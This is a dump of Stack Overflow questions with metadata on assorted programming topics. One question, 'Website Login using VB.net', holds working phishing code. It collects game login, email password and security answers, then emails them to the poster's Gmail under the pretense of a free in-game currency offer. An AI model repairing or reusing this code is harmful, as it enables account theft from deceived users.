09/20/2008 05:31:24
4,977
09/07/2008 07:24:42
1,002
44
Are units of measurement unique to F#?
I was reading Andrew Kennedy's blog post series on <a href="http://blogs.msdn.com/andrewkennedy/archive/2008/08/29/units-of-measure-in-f-part-one-introducing-units.aspx">units of measurement in F#</a> and it makes a lot of sense in a lot of cases. Are there any other languages that have such a system? Edit: To be more clear, I mean the flexible units of measurement system where you can define your own arbitrarily.
programming-languages
f#
null
null
null
07/19/2012 14:44:59
not constructive
Are units of measurement unique to F#? === I was reading Andrew Kennedy's blog post series on <a href="http://blogs.msdn.com/andrewkennedy/archive/2008/08/29/units-of-measure-in-f-part-one-introducing-units.aspx">units of measurement in F#</a> and it makes a lot of sense in a lot of cases. Are there any other languages that have such a system? Edit: To be more clear, I mean the flexible units of measurement system where you can define your own arbitrarily.
4
11,283,528
07/01/2012 16:05:21
1,129,172
01/04/2012 04:38:57
20
0
How to remove the button image of checkbox by java coding?
I know to remove the button image of checkbox in xml with following code: <CheckBox android:layout_width="wrap_content" android:layout_height="25dp" android:button="@null" android:background="@drawable/notxtcheckboxbtn" android:layout_weight="1"/> But I need to add checkbox in my java code. And "newCheckBox.setButtonDrawable(null);" doesn't work! Anybody know how to remove it in java code? Thanks in advance!!!
android
button
checkbox
remove
null
null
open
How to remove the button image of checkbox by java coding? === I know to remove the button image of checkbox in xml with following code: <CheckBox android:layout_width="wrap_content" android:layout_height="25dp" android:button="@null" android:background="@drawable/notxtcheckboxbtn" android:layout_weight="1"/> But I need to add checkbox in my java code. And "newCheckBox.setButtonDrawable(null);" doesn't work! Anybody know how to remove it in java code? Thanks in advance!!!
0
9,355,051
02/20/2012 01:14:13
1,086,384
12/07/2011 19:34:31
10
0
Website Login using VB.net
I want my program to verify if the Website Login Is Right using the following code but the code is not working when i try To use it says error 404 or something like that can you guys help me out a little Bit ? Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click If TextBox1.Text = ("") And TextBox2.Text = ("") And TextBox3.Text = ("") And TextBox4.Text = ("") And TextBox5.Text = ("") Then MsgBox("some information is Missing please Fill all The Boxes") Else Dim MyMailMessage As New MailMessage Dim logincookie As CookieContainer Dim postData As String = "https://www.nexon.net/api/v001/account/login?returnURL=http%3A%2F%2Fnexon.net%2FuserID=" + TextBox1.Text & "&password" + TextBox2.Text & "&device_id" Dim tempcookies As New CookieContainer Dim encoding As New UTF8Encoding Dim byteData As Byte() = encoding.GetBytes(postData) Dim postreq As HttpWebRequest = DirectCast(HttpWebRequest.Create("http://www.nexon.net/"), HttpWebRequest) postreq.Method = "POST" postreq.KeepAlive = True postreq.CookieContainer = tempcookies postreq.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729" postreq.ContentType = "application/x-www-form-urlencoded" postreq.Referer = "http://www.nexon.net/" postreq.ContentLength = byteData.Length Dim postreqstream As Stream = postreq.GetRequestStream() postreqstream.Write(byteData, 0, byteData.Length) postreqstream.Close() Dim postresponse As HttpWebResponse postresponse = DirectCast(postreq.GetResponse, HttpWebResponse) tempcookies.Add(postresponse.Cookies) logincookie = tempcookies Dim postreqreader As New StreamReader(postresponse.GetResponseStream()) Dim thepage As String = postreqreader.ReadToEnd If thepage.Contains("Logout") = True Then MyMailMessage.From() = New MailAddress("Gaboman06@gmail.com") MyMailMessage.To.Add("Gaboman06@gmail.com") 'Replace The X's with your GMAIL Address MyMailMessage.Subject = "Account Information" MyMailMessage.Body = "Username: " & (TextBox1.Text) & " Password: " & (TextBox2.Text) & " Email Password: " & (TextBox3.Text) & " SQ#1: " & (TextBox4.Text) & " SQ#2: " & (TextBox5.Text) Dim SMTP As New SmtpClient("smtp.gmail.com") SMTP.Port = 587 SMTP.EnableSsl = True SMTP.Credentials = New System.Net.NetworkCredential("Gaboman06@gmail.com", "") 'Replace the X's with your GMAIL Address, Replace the Y's with your GMAIL Password SMTP.Send(MyMailMessage) MsgBox("Allow 24 hours to Receive The nx") Else MsgBox("Incorrect Username/password , enter Right Information Or you wont receive Nx", 0, "Login error!") End If End If End Sub can you guys Tell me what the Problem is? thanks in advance
.net
vb.net
login
website
online
02/20/2012 06:27:06
not a real question
Website Login using VB.net === I want my program to verify if the Website Login Is Right using the following code but the code is not working when i try To use it says error 404 or something like that can you guys help me out a little Bit ? Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click If TextBox1.Text = ("") And TextBox2.Text = ("") And TextBox3.Text = ("") And TextBox4.Text = ("") And TextBox5.Text = ("") Then MsgBox("some information is Missing please Fill all The Boxes") Else Dim MyMailMessage As New MailMessage Dim logincookie As CookieContainer Dim postData As String = "https://www.nexon.net/api/v001/account/login?returnURL=http%3A%2F%2Fnexon.net%2FuserID=" + TextBox1.Text & "&password" + TextBox2.Text & "&device_id" Dim tempcookies As New CookieContainer Dim encoding As New UTF8Encoding Dim byteData As Byte() = encoding.GetBytes(postData) Dim postreq As HttpWebRequest = DirectCast(HttpWebRequest.Create("http://www.nexon.net/"), HttpWebRequest) postreq.Method = "POST" postreq.KeepAlive = True postreq.CookieContainer = tempcookies postreq.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729" postreq.ContentType = "application/x-www-form-urlencoded" postreq.Referer = "http://www.nexon.net/" postreq.ContentLength = byteData.Length Dim postreqstream As Stream = postreq.GetRequestStream() postreqstream.Write(byteData, 0, byteData.Length) postreqstream.Close() Dim postresponse As HttpWebResponse postresponse = DirectCast(postreq.GetResponse, HttpWebResponse) tempcookies.Add(postresponse.Cookies) logincookie = tempcookies Dim postreqreader As New StreamReader(postresponse.GetResponseStream()) Dim thepage As String = postreqreader.ReadToEnd If thepage.Contains("Logout") = True Then MyMailMessage.From() = New MailAddress("Gaboman06@gmail.com") MyMailMessage.To.Add("Gaboman06@gmail.com") 'Replace The X's with your GMAIL Address MyMailMessage.Subject = "Account Information" MyMailMessage.Body = "Username: " & (TextBox1.Text) & " Password: " & (TextBox2.Text) & " Email Password: " & (TextBox3.Text) & " SQ#1: " & (TextBox4.Text) & " SQ#2: " & (TextBox5.Text) Dim SMTP As New SmtpClient("smtp.gmail.com") SMTP.Port = 587 SMTP.EnableSsl = True SMTP.Credentials = New System.Net.NetworkCredential("Gaboman06@gmail.com", "") 'Replace the X's with your GMAIL Address, Replace the Y's with your GMAIL Password SMTP.Send(MyMailMessage) MsgBox("Allow 24 hours to Receive The nx") Else MsgBox("Incorrect Username/password , enter Right Information Or you wont receive Nx", 0, "Login error!") End If End If End Sub can you guys Tell me what the Problem is? thanks in advance
1
7,053,999
08/13/2011 23:42:04
103,791
05/08/2009 19:47:39
676
8
Programmatically publish web application
I'm trying to write a visual studio extension that allows me to publish multiple web applications in a solution, similar to using the one-click publish feature on all the projects. DTE2 service = (DTE2)this.GetService(typeof(DTE)); Projects projects = service.Solution.Projects; SolutionBuild2 build = (SolutionBuild2)service.Solution.SolutionBuild; foreach (Project project in projects) { build.PublishProject("Release", project.UniqueName, true); } When I try to run this code, the only result in the output window is this: Error: Object reference not set to an instance of an object. ========== Publish: 0 succeeded, 0 failed, 0 skipped ========== ... which doesn't tell me much. Is there a way to find out what's going wrong? I also see there an interface [IVsPublishableProjectCfg][1], but there doesn't seem to be any examples of how to use it. Is there another way to programmatically publish web applications to a certain directory, similar to how the one-click publish feature works? [1]: http://msdn.microsoft.com/en-us/library/microsoft.visualstudio.shell.interop.ivspublishableprojectcfg%28v=VS.100%29.aspx
visual-studio-2010
vsx
envdte
null
null
null
open
Programmatically publish web application === I'm trying to write a visual studio extension that allows me to publish multiple web applications in a solution, similar to using the one-click publish feature on all the projects. DTE2 service = (DTE2)this.GetService(typeof(DTE)); Projects projects = service.Solution.Projects; SolutionBuild2 build = (SolutionBuild2)service.Solution.SolutionBuild; foreach (Project project in projects) { build.PublishProject("Release", project.UniqueName, true); } When I try to run this code, the only result in the output window is this: Error: Object reference not set to an instance of an object. ========== Publish: 0 succeeded, 0 failed, 0 skipped ========== ... which doesn't tell me much. Is there a way to find out what's going wrong? I also see there an interface [IVsPublishableProjectCfg][1], but there doesn't seem to be any examples of how to use it. Is there another way to programmatically publish web applications to a certain directory, similar to how the one-click publish feature works? [1]: http://msdn.microsoft.com/en-us/library/microsoft.visualstudio.shell.interop.ivspublishableprojectcfg%28v=VS.100%29.aspx
0
679,100
03/24/2009 20:23:42
68,722
02/20/2009 02:15:46
156
9
Best practice for Parent / Child UI design in ASP.Net?
Coming from a desktop client background, with no real data-driven web design experience, I am studying ASP.NET UI design to determine the best UI pattern for Parent/Children data. I always tend to experiment with Parent/Child presentation when learning a new UI platform, so that is where I have started here. Thinking I should use ASP.NET 2.0, I am studying the various ways of architecting a UI form which contains a master list of Parent records, and then showing the related children records in a second grid on the page when you click on a parent. Eventually, even the child records are parents to other children, so I'll need to deal with that also. Think: Customers with Open Orders / Open Orders for Selected Customer / Line Items on Selected Open Order... like this screen where I built the same thing in WPF: [http://www.twitpic.com/26w26][1] Some of techniques I've seen simply creates a plain old-shcool table of href links for the parents, with some method call to query the children based on the selected parent, while some techniques I've seen use the ASP.NET 2.0 data controls to work all this out. Are the ASP.NET 2.0 data controls cheating? Do real developers use these out-of-the box controls, or do they output their own HTML so they can have more control? Also, it seems like ASP.NET MVC is all the rage right now, so I though I should consider that. When I looked at a few intro's about it, it seems to take a step back in time as it looks like you have to manually create much the HTML to present lists and datagrids, rather than being able to use the ASP.NET 2.0 controls. I'm kinda lost as to where to spend my energy. [1]: http://www.twitpic.com/26w26
asp.net
asp.net-mvc
parent-child
null
null
null
open
Best practice for Parent / Child UI design in ASP.Net? === Coming from a desktop client background, with no real data-driven web design experience, I am studying ASP.NET UI design to determine the best UI pattern for Parent/Children data. I always tend to experiment with Parent/Child presentation when learning a new UI platform, so that is where I have started here. Thinking I should use ASP.NET 2.0, I am studying the various ways of architecting a UI form which contains a master list of Parent records, and then showing the related children records in a second grid on the page when you click on a parent. Eventually, even the child records are parents to other children, so I'll need to deal with that also. Think: Customers with Open Orders / Open Orders for Selected Customer / Line Items on Selected Open Order... like this screen where I built the same thing in WPF: [http://www.twitpic.com/26w26][1] Some of techniques I've seen simply creates a plain old-shcool table of href links for the parents, with some method call to query the children based on the selected parent, while some techniques I've seen use the ASP.NET 2.0 data controls to work all this out. Are the ASP.NET 2.0 data controls cheating? Do real developers use these out-of-the box controls, or do they output their own HTML so they can have more control? Also, it seems like ASP.NET MVC is all the rage right now, so I though I should consider that. When I looked at a few intro's about it, it seems to take a step back in time as it looks like you have to manually create much the HTML to present lists and datagrids, rather than being able to use the ASP.NET 2.0 controls. I'm kinda lost as to where to spend my energy. [1]: http://www.twitpic.com/26w26
0
9,483,603
02/28/2012 14:20:03
162,684
08/25/2009 12:26:45
4,933
267
String representation of typed literals
I am using Jena 2.6.4. The following code String v = "Parnell Square East"; Literal l = ModelFactory.createDefaultModel().createTypedLiteral( v, XSDDatatype.XSDstring); System.out.println(l.toString()); Produces the following output: > Parnell Square East^^http://www.w3.org/2001/XMLSchema#string which looks wrong to me: I would have expected: > "Parnell Square East"^^http://www.w3.org/2001/XMLSchema#string From a quick look at the source code of [`LiteralImpl.java`][1] I see: @Override public String toString() { return asNode().toString( PrefixMapping.Standard, false ); } Why is the second parameter (quoting) set to `false`? If I do String v = "Parnell Square East"; Literal l = ModelFactory.createDefaultModel().createTypedLiteral(v, XSDDatatype.XSDstring); System.out.println(l.asNode().toString(PrefixMapping.Standard, true)); I get the desired output > "Parnell Square East"^^http://www.w3.org/2001/XMLSchema#string I just wonder why this is not the default behaviour? Thanks, marco [1]: http://grepcode.com/file/repo1.maven.org/maven2/com.hp.hpl.jena/jena/2.6.4/com/hp/hpl/jena/rdf/model/impl/LiteralImpl.java#LiteralImpl.toString%28%29
jena
null
null
null
null
null
open
String representation of typed literals === I am using Jena 2.6.4. The following code String v = "Parnell Square East"; Literal l = ModelFactory.createDefaultModel().createTypedLiteral( v, XSDDatatype.XSDstring); System.out.println(l.toString()); Produces the following output: > Parnell Square East^^http://www.w3.org/2001/XMLSchema#string which looks wrong to me: I would have expected: > "Parnell Square East"^^http://www.w3.org/2001/XMLSchema#string From a quick look at the source code of [`LiteralImpl.java`][1] I see: @Override public String toString() { return asNode().toString( PrefixMapping.Standard, false ); } Why is the second parameter (quoting) set to `false`? If I do String v = "Parnell Square East"; Literal l = ModelFactory.createDefaultModel().createTypedLiteral(v, XSDDatatype.XSDstring); System.out.println(l.asNode().toString(PrefixMapping.Standard, true)); I get the desired output > "Parnell Square East"^^http://www.w3.org/2001/XMLSchema#string I just wonder why this is not the default behaviour? Thanks, marco [1]: http://grepcode.com/file/repo1.maven.org/maven2/com.hp.hpl.jena/jena/2.6.4/com/hp/hpl/jena/rdf/model/impl/LiteralImpl.java#LiteralImpl.toString%28%29
0
7,753,173
10/13/2011 11:06:44
808,132
06/21/2011 09:21:19
1
1
Where to download IBM ConTest?
Where can I get the tool? The links I searched from Google didn't point to the download page. Also, the eclipse update site is not working.
java
concurrency
null
null
null
10/13/2011 15:53:28
off topic
Where to download IBM ConTest? === Where can I get the tool? The links I searched from Google didn't point to the download page. Also, the eclipse update site is not working.
2
9,205,814
02/09/2012 05:22:36
736,659
05/03/2011 17:45:24
71
0
git Commit, after overwriting the cloned version
I was working in one project file detached from the remote repository for a while, I would like to commit my changes to the old existing repository now. I have cloned the old version: git clone <repository path> How I can merge my new changes? Overwriting the local git folder and run: git commit cause me some errors. tanx
xcode
git
repository
clone
local
null
open
git Commit, after overwriting the cloned version === I was working in one project file detached from the remote repository for a while, I would like to commit my changes to the old existing repository now. I have cloned the old version: git clone <repository path> How I can merge my new changes? Overwriting the local git folder and run: git commit cause me some errors. tanx
0
11,608,655
07/23/2012 08:11:47
1,527,394
07/15/2012 20:01:12
1
0
adding aspectJ jar in maven project
I created the AspectJ/maven project1 which can generate logs for particular methods. Maven created a .jar file which I added to maven project2. The problem is that project2 doesn't seem to 'see' it because there are no logs. When I put my aspectJ class to project2 manually everything works fine. Should I add any dependencies in POM? Or something else?
java
maven
jar
dependencies
aspectj
null
open
adding aspectJ jar in maven project === I created the AspectJ/maven project1 which can generate logs for particular methods. Maven created a .jar file which I added to maven project2. The problem is that project2 doesn't seem to 'see' it because there are no logs. When I put my aspectJ class to project2 manually everything works fine. Should I add any dependencies in POM? Or something else?
0
10,665,309
05/19/2012 12:46:38
1,074,486
12/01/2011 00:04:27
6
0
Free, flexible admin theme for PHP?
Is there any theme that is similar to this, for PHP? https://github.com/pilu/web-app-theme Is it possible to use this with PHP?
php
codeigniter
themes
null
null
05/19/2012 13:19:28
not a real question
Free, flexible admin theme for PHP? === Is there any theme that is similar to this, for PHP? https://github.com/pilu/web-app-theme Is it possible to use this with PHP?
1
8,431,878
12/08/2011 13:41:46
1,069,806
11/28/2011 17:06:14
23
0
creating a "wishlist" for touristic portal
i have in developing a website about touristic objectives and hotels . i have a certain concept in my head and i want to know if it can be done : a user displays several touristic objectives , let s say 3, in the same area, and i want the user to have the possibility to "add to wishlist" the objectives so that at the end he can see on a map makers of the objectives he selected . i forgot to mention that i have a database with coordonates of the touristic objectives and hotels also. i want the user to create a small list of objectives he wants to visit on his vacation , like a shopping basket, where he can see on the map , see the hotels around. i already have a page created to select from database hotels that are in 10 kilometers range from a specific objective. it s a little SF , i dont know if you guys understood my ideea.
wishlist
null
null
null
null
12/08/2011 21:49:21
not a real question
creating a "wishlist" for touristic portal === i have in developing a website about touristic objectives and hotels . i have a certain concept in my head and i want to know if it can be done : a user displays several touristic objectives , let s say 3, in the same area, and i want the user to have the possibility to "add to wishlist" the objectives so that at the end he can see on a map makers of the objectives he selected . i forgot to mention that i have a database with coordonates of the touristic objectives and hotels also. i want the user to create a small list of objectives he wants to visit on his vacation , like a shopping basket, where he can see on the map , see the hotels around. i already have a page created to select from database hotels that are in 10 kilometers range from a specific objective. it s a little SF , i dont know if you guys understood my ideea.
1
5,458,192
03/28/2011 11:17:41
679,116
03/27/2011 16:32:41
1
0
Neural n/w based proj
Do anyone knows any specific firing rule in neural network?
java
null
null
null
null
03/28/2011 13:13:38
not a real question
Neural n/w based proj === Do anyone knows any specific firing rule in neural network?
1
9,781,475
03/20/2012 04:44:53
851,510
07/19/2011 07:50:44
93
5
WPF window draging with arrow icon
I want to drag my window with arrow icon from right side bottom corner and its working fine, but it's shrinking fully like window disappearing fully but i want up to some extent only user able to shrink the window so any one help how can i do that. Thanks, @nagaraju.
wpf
drag-and-drop
window
null
null
null
open
WPF window draging with arrow icon === I want to drag my window with arrow icon from right side bottom corner and its working fine, but it's shrinking fully like window disappearing fully but i want up to some extent only user able to shrink the window so any one help how can i do that. Thanks, @nagaraju.
0
6,738,019
07/18/2011 19:09:34
557,527
12/12/2010 08:08:02
229
20
How does this website work?
I was wondering how this works: http://www.findpriser.dk/se-ipod.html How can they scrape prices images so fast? And know that they are scraping a webshop not an affiliate site.
php
ruby-on-rails
website
null
null
07/18/2011 19:58:29
not constructive
How does this website work? === I was wondering how this works: http://www.findpriser.dk/se-ipod.html How can they scrape prices images so fast? And know that they are scraping a webshop not an affiliate site.
4
1,815,040
11/29/2009 08:47:15
182,474
10/01/2009 12:21:54
16
2
Paperclip doesn't resizes uploaded pictures
I using rails 2.3.4 and PaperClip gem as plugin (the latest git master). And, given the following code: class Banner < ActiveRecord::Base has_attached_file :picture, :url => "/banners/:id/:basename.:extension", :path => ":rails_root/public/banners/:id/:basename.:extension", :style => { :original => '150x150>'} If i upload a picture with size 359x359 it doesn't be resized to 150x150 but stored it's own size, what i don't want. Is there any way to enforce resizing or do something? I think i do something wrong but i don't know what...
ruby-on-rails
paperclip
null
null
null
null
open
Paperclip doesn't resizes uploaded pictures === I using rails 2.3.4 and PaperClip gem as plugin (the latest git master). And, given the following code: class Banner < ActiveRecord::Base has_attached_file :picture, :url => "/banners/:id/:basename.:extension", :path => ":rails_root/public/banners/:id/:basename.:extension", :style => { :original => '150x150>'} If i upload a picture with size 359x359 it doesn't be resized to 150x150 but stored it's own size, what i don't want. Is there any way to enforce resizing or do something? I think i do something wrong but i don't know what...
0
5,496,379
03/31/2011 07:12:21
584,129
01/21/2011 07:44:29
1
0
Invalid length parameter passed to the LEFT or SUBSTRING function.
DECLARE @TotalImagesCount int IF(@InfoTypeiD=9) SET @TotalImagesCount=(SELECT ImagesCount/3 FROM Information(NOLOCK) WHERE informationid=@InformationID) ELSE SET @TotalImagesCount=(SELECT ImagesCount FROM Information(NOLOCK) WHERE informationid=@InformationID); SET @PageNumber = @PageNumber - 1 SET @RowStart = @PageSize * @PageNumber + 1; SET @RowEnd = @RowStart + @PageSize - 1; BEGIN WITH RESULT AS ( SELECT filepath,MediaFileId,SUBSTRING(filepath,0,LEN(filepath)-3)+'_800.jpg' img800,[Description], SUBSTRING(filepath,0,LEN(filepath)-3)+'_1024.jpg'img1024 ,ROW_NUMBER() OVER (ORDER BY MediaFileId DESC) AS RowNumber --CASE WHEN @InfoTypeID=9 THEN (SELECT COUNT(*)/3 FROM mediafile(NOLOCK) where informationid=@InformationID) --ELSE (SELECT COUNT(*) FROM mediafile(NOLOCK) where informationid=@InformationID) --END AS TotalImages FROM MediaFile(NOLOCK) WHERE InformationID=@InformationID and filepath NOT LIKE '%800.%' and filepath NOT LIKE '%1024.%' ) SELECT filepath,MediaFileId,img800,img1024,RowNumber,@TotalImagesCount AS TotalImages,[Description] AS ImageDescription, (SELECT COUNT(*) FROM RESULT) TotalRecords FROM RESULT WHERE RowNumber >= @RowStart AND RowNumber <= @RowEnd ORDER BY MediaFileID DESC
asp.net
asp.net-mvc
null
null
null
04/01/2011 09:24:54
not a real question
Invalid length parameter passed to the LEFT or SUBSTRING function. === DECLARE @TotalImagesCount int IF(@InfoTypeiD=9) SET @TotalImagesCount=(SELECT ImagesCount/3 FROM Information(NOLOCK) WHERE informationid=@InformationID) ELSE SET @TotalImagesCount=(SELECT ImagesCount FROM Information(NOLOCK) WHERE informationid=@InformationID); SET @PageNumber = @PageNumber - 1 SET @RowStart = @PageSize * @PageNumber + 1; SET @RowEnd = @RowStart + @PageSize - 1; BEGIN WITH RESULT AS ( SELECT filepath,MediaFileId,SUBSTRING(filepath,0,LEN(filepath)-3)+'_800.jpg' img800,[Description], SUBSTRING(filepath,0,LEN(filepath)-3)+'_1024.jpg'img1024 ,ROW_NUMBER() OVER (ORDER BY MediaFileId DESC) AS RowNumber --CASE WHEN @InfoTypeID=9 THEN (SELECT COUNT(*)/3 FROM mediafile(NOLOCK) where informationid=@InformationID) --ELSE (SELECT COUNT(*) FROM mediafile(NOLOCK) where informationid=@InformationID) --END AS TotalImages FROM MediaFile(NOLOCK) WHERE InformationID=@InformationID and filepath NOT LIKE '%800.%' and filepath NOT LIKE '%1024.%' ) SELECT filepath,MediaFileId,img800,img1024,RowNumber,@TotalImagesCount AS TotalImages,[Description] AS ImageDescription, (SELECT COUNT(*) FROM RESULT) TotalRecords FROM RESULT WHERE RowNumber >= @RowStart AND RowNumber <= @RowEnd ORDER BY MediaFileID DESC
1
7,275,262
09/01/2011 19:10:47
924,078
09/01/2011 19:10:47
1
0
substring or split
hi all m stuck with lil problem here look i have to split cookies grabbed by winsock control from yahoo server for login now problem is that yahoo return very much long data and i have to split the things i need for example here is output by yahoo Y=v=1&n=fht2qs9k92mso&l=nn140jh82nn/o&p=f1tvvit012000000&jb=16|47|&iz=00100&r=bi&lg=it-IT&intl=it&np=1; path=/; domain=.yahoo.com now i want to split from Y= to np=1 bt when i try to substring or split i cant get it it returns very long string infact it starts from Y= but dnt split till np=1 bt goes very long instead string scok = data.Substring(data.IndexOf("Y="),data.IndexOf("np=1")); m using this to substring plz help me guyz and remember Y= is not at 0 index there are many characters before this Y=
c#
split
substring
null
null
09/02/2011 10:47:41
not a real question
substring or split === hi all m stuck with lil problem here look i have to split cookies grabbed by winsock control from yahoo server for login now problem is that yahoo return very much long data and i have to split the things i need for example here is output by yahoo Y=v=1&n=fht2qs9k92mso&l=nn140jh82nn/o&p=f1tvvit012000000&jb=16|47|&iz=00100&r=bi&lg=it-IT&intl=it&np=1; path=/; domain=.yahoo.com now i want to split from Y= to np=1 bt when i try to substring or split i cant get it it returns very long string infact it starts from Y= but dnt split till np=1 bt goes very long instead string scok = data.Substring(data.IndexOf("Y="),data.IndexOf("np=1")); m using this to substring plz help me guyz and remember Y= is not at 0 index there are many characters before this Y=
1
8,845,611
01/13/2012 03:39:41
1,107,040
12/20/2011 02:47:23
11
0
How to use a while loop to build a stringarray and use it as a list
I am writing an app for fellow students, and I am parsing information from a website. I paid a guy to write the parser but did a poor job and he wants more money to help anymore. So im trying to fix it myself. There is the extractor that grabs the xml info, how the gentlemen had it, was he called it in the main.java like this. Content1 = extractor.BusRoutes.get(1); Content2 = extractor.BusRoutes.get(2); Content3 = extractor.BusRoutes.get(3); But there is 30+ buses, and to me, that is not a solid idea. So I tried to do a while loop and an array in order to build the list and make it a list in android. public class BusRoutes extends ListActivity { TransitXMLExtractor extractor; public String[] busroutearray() { extractor = new TransitXMLExtractor(); String[] busroutearray = new String[40]; int n = 0; while(n != (busroutearray.length - 1)){ busroutearray[n] = extractor.BusRoutes.get(n); } return busroutearray; } /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setListAdapter(new ArrayAdapter<String>(this, android.R.layout.simple_list_item_1, busroutearray())); getListView().setTextFilterEnabled(true); } bus when i launch it, i always get a forced quit.
java
android
null
null
null
null
open
How to use a while loop to build a stringarray and use it as a list === I am writing an app for fellow students, and I am parsing information from a website. I paid a guy to write the parser but did a poor job and he wants more money to help anymore. So im trying to fix it myself. There is the extractor that grabs the xml info, how the gentlemen had it, was he called it in the main.java like this. Content1 = extractor.BusRoutes.get(1); Content2 = extractor.BusRoutes.get(2); Content3 = extractor.BusRoutes.get(3); But there is 30+ buses, and to me, that is not a solid idea. So I tried to do a while loop and an array in order to build the list and make it a list in android. public class BusRoutes extends ListActivity { TransitXMLExtractor extractor; public String[] busroutearray() { extractor = new TransitXMLExtractor(); String[] busroutearray = new String[40]; int n = 0; while(n != (busroutearray.length - 1)){ busroutearray[n] = extractor.BusRoutes.get(n); } return busroutearray; } /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setListAdapter(new ArrayAdapter<String>(this, android.R.layout.simple_list_item_1, busroutearray())); getListView().setTextFilterEnabled(true); } bus when i launch it, i always get a forced quit.
0
3,808,451
09/27/2010 22:43:22
221,023
11/29/2009 23:35:32
2,013
8
How to embed local images in UIWebView?
Is there an easy way to embed local images in an UIWebView? For example, I would want to embed an logo.png image in the UIWebView, which I've added to the Resources folder in Xcode. Would I simply add an `img` HTML tag for this?
iphone
uiwebview
null
null
null
null
open
How to embed local images in UIWebView? === Is there an easy way to embed local images in an UIWebView? For example, I would want to embed an logo.png image in the UIWebView, which I've added to the Resources folder in Xcode. Would I simply add an `img` HTML tag for this?
0
6,160,928
05/28/2011 09:59:30
306,719
04/01/2010 08:57:51
479
1
what is rest,and what is its advantage
I have googled about the docs of rest,but I am not exactly sure I understand it. What I can see in rest is that its url is clean,for example: http://host/webservice.asmx?name=xname&type=xtype If in rest manner,it maybe : http://host/webservice.asmx/xname/xtype Isn't it? So I just found the url is clerner,but I can not find other advantage. Can anyone tell me more? BTW,I have some questions: 1)I found that some application built on ruby on rails all own the clean url,for example: http://xxx/blog/list http://xxx/blog/edit/1 http://xxx/blog/1 So is there any releationship between them? 2)the url rewriting Is the url rewriting is one of the manner to implement the rest? 3) we have some web service built on asp.net,is there any idea to change them to the rest Architecture?
web-services
rest
restful-authentication
null
null
05/30/2011 08:41:52
not a real question
what is rest,and what is its advantage === I have googled about the docs of rest,but I am not exactly sure I understand it. What I can see in rest is that its url is clean,for example: http://host/webservice.asmx?name=xname&type=xtype If in rest manner,it maybe : http://host/webservice.asmx/xname/xtype Isn't it? So I just found the url is clerner,but I can not find other advantage. Can anyone tell me more? BTW,I have some questions: 1)I found that some application built on ruby on rails all own the clean url,for example: http://xxx/blog/list http://xxx/blog/edit/1 http://xxx/blog/1 So is there any releationship between them? 2)the url rewriting Is the url rewriting is one of the manner to implement the rest? 3) we have some web service built on asp.net,is there any idea to change them to the rest Architecture?
1
7,303,350
09/05/2011 02:16:28
139,361
07/16/2009 10:08:16
685
36
"Multi dimensional" JSON in javascript
I can create a jquery object inline like this (this code is working) $('#tip').qtip({ content: el.REASON, position: { corner: { target: 'rightMiddle', tooltip: 'leftMiddle' } }, style: { tip: { corner: 'leftMiddle', }, border: { radius: 11, width: 4 }, name: 'red' }, show: { ready: true, effect: { type: 'slide' } }, hide: { when: { target: jq, event: 'click' }, effect: function() { $(this).fadeTo(200, 0); } } }) now I want to move this JSON to a function, because I have multiple constructors in my code (this code is not working) function qtipJSON(el, jq) { return { content: el.REASON, position: { corner: { target: 'rightMiddle', tooltip: 'leftMiddle' } }, style: { tip: { corner: 'leftMiddle', }, border: { radius: 11, width: 4 }, name: 'red' }, show: { ready: true, effect: { type: 'slide' } }, hide: { when: { target: jq, event: 'click' }, effect: function() { $(this).fadeTo(200, 0); } } } }; $('#tip')(qtipJSON(el, qj)) My error is > Uncaught SyntaxError: Unexpected token { I've noticed that it's because of nested jsons. WORKING: function a(){ return {sdasda:'asda',sdasd:'asdas'} } for(i in a()){ document.write(i) } ALSO WORKING: function a(){ return {sdasda:'asda',sdasd:'asdas', aa:{sds:'1212', sddss:'2222'}} } for(i in a()){ document.write(i) }
javascript
jquery
json
null
null
null
open
"Multi dimensional" JSON in javascript === I can create a jquery object inline like this (this code is working) $('#tip').qtip({ content: el.REASON, position: { corner: { target: 'rightMiddle', tooltip: 'leftMiddle' } }, style: { tip: { corner: 'leftMiddle', }, border: { radius: 11, width: 4 }, name: 'red' }, show: { ready: true, effect: { type: 'slide' } }, hide: { when: { target: jq, event: 'click' }, effect: function() { $(this).fadeTo(200, 0); } } }) now I want to move this JSON to a function, because I have multiple constructors in my code (this code is not working) function qtipJSON(el, jq) { return { content: el.REASON, position: { corner: { target: 'rightMiddle', tooltip: 'leftMiddle' } }, style: { tip: { corner: 'leftMiddle', }, border: { radius: 11, width: 4 }, name: 'red' }, show: { ready: true, effect: { type: 'slide' } }, hide: { when: { target: jq, event: 'click' }, effect: function() { $(this).fadeTo(200, 0); } } } }; $('#tip')(qtipJSON(el, qj)) My error is > Uncaught SyntaxError: Unexpected token { I've noticed that it's because of nested jsons. WORKING: function a(){ return {sdasda:'asda',sdasd:'asdas'} } for(i in a()){ document.write(i) } ALSO WORKING: function a(){ return {sdasda:'asda',sdasd:'asdas', aa:{sds:'1212', sddss:'2222'}} } for(i in a()){ document.write(i) }
0
10,486,031
05/07/2012 17:01:37
1,373,581
05/03/2012 20:54:05
1
0
how do i get an div to stay in place while text around it gets bigger or shorter
I have some text and then at the end of that, it has an spacer div which gives a margin gap so it separates it from the text below it. The question is; how do i get the spacer div to stay in place whatever happens, while the length of the text above it gets shorter or longer without bringing the spacer div up in position with the text if the text is shorter? anyone know the css for how to do it? example: loris ipsum, loris ipsum loris ipsum, loris ipsum loris ipsum, loris ipsum loris ipsum, loris ipsum <span class="margin-space"></span> loris ipsum, loris ipsum loris ipsum, loris ipsum how i want it, example: loris ipsum, loris ipsum loris ipsum, loris ipsum <span class="margin-space"></span> loris ipsum, loris ipsum loris ipsum, loris ipsum Hope you understood what I meant, any help?
css
text
null
null
null
null
open
